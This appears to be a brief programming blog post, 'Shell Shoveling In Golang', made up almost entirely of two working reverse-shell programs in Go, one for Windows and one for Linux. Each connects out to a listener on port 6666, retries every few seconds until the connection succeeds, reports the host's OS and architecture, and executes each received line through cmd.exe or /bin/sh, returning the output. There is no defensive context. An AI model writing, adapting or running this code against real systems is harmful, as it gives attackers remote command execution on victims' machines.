This article assumes programming proficiency in Golang and familiarity with network programming concepts such as TCP/IP & sockets.

Shell Shoveling In Golang

This is a simple example of a reverse shell I wrote in the programming language Go. This first code snippet was written for the Windows operating system.


package main

import (
    "bufio"
    "fmt"
    "net"
    "os"
    "os/exec"
    "runtime"
    "strings"
    "time"
)

func main() {
    for {
        conn, err := net.Dial("tcp", "192.168.0.9:6666")
        if err != nil {
            time.Sleep(10 * time.Second)
            continue
        }
        fmt.Fprintf(conn, "\nOS: %s\nArchitecture: %s\n", runtime.GOOS, runtime.GOARCH)
        shell := os.Getenv("ComSpec")
        fmt.Fprintf(conn, "shell: %s\n\n", shell)

        scanner := bufio.NewScanner(conn)
        for scanner.Scan() {
            data := scanner.Text()
            out, _ := exec.Command(
                shell,
                append(
                    []string{"/C"},
                    // strings.Split(strings.TrimSpace(data), " ")...,
                    strings.TrimSpace(data),
                )...,
            ).CombinedOutput()

            fmt.Fprintf(conn, "\n%s\n", string(out))
        }

        if err := scanner.Err(); err != nil {
            fmt.Fprintf(conn, "\nError: %s ...\n", err)
        }

        time.Sleep(5 * time.Second)
    }
}

This second snippet was written for the linux operating system. You can see very minor differences.

package main

import (
    "bufio"
    "fmt"
    "net"
    "os/exec"
    "runtime"
    "strings"
    "time"
)

func main() {
    for {
        conn, err := net.Dial("tcp", "localhost:6666")
        if err != nil {
            time.Sleep(10 * time.Second)
            continue
        }
        fmt.Fprintf(conn, "\nOS: %s\nArchitecture: %s\n", runtime.GOOS, runtime.GOARCH)
        shell := "/bin/sh"
        fmt.Fprintf(conn, "shell: %s\n\n", shell)

        scanner := bufio.NewScanner(conn)
        for scanner.Scan() {
            data := scanner.Text()
            out, _ := exec.Command(
                shell,
                append(
                    []string{"-c"},
                    strings.TrimSpace(data),
                )...,
            ).CombinedOutput()

            // cmd := strings.Split(strings.TrimSpace(data), " ")
            // out, _ := exec.Command(cmd[0], cmd[1:]...).CombinedOutput()

            fmt.Fprintf(conn, "\n%s\n", string(out))
        }

        if err := scanner.Err(); err != nil {
            fmt.Fprintf(conn, "\nError: %s ...\n", err)
        }

        time.Sleep(5 * time.Second)
    }
}